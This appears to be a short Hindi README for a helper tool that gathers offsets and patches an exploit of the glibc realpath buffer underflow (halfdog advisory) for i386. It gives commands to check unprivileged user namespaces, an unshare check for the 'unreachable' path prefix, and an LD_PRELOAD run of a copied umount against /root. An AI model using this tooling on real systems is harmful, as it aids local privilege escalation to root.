
i386 समर्थन के लिए ऑफसेट प्राप्त करने और पैच जोड़ने के उपकरण
$ cat /proc/sys/kernel/unprivileged_userns_clone
आउटपुट:
1
यदि फ़ाइल "/proc/sys/kernel/unprivileged_userns_clone" मौजूद नहीं है:
$ unshare -mU /bin/sh -c "sleep 5" & /bin/sh -c "sleep 1; cd /proc/$!/cwd; realpath .; kill -9 $!"
आउटपुट में '/' से पहले "(unreachable)" स्ट्रिंग होना चाहिए:
[1] 12345
(unreachable)/home/user
विकल्प पर्यावरण चरों के माध्यम से पास किए जाते हैं:
TRACE_DEBUG=1 - Value for printing debug information (Default: 0)
STACK_SIZE=100 - Size output data of stack (Default: 100)
चलाने का तरीका:
$ make
$ cp /bin/umount .
$ LD_PRELOAD="$(realpath tool.so)" TRACE_DEBUG=1 STACK_SIZE=100 ./umount /root
https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/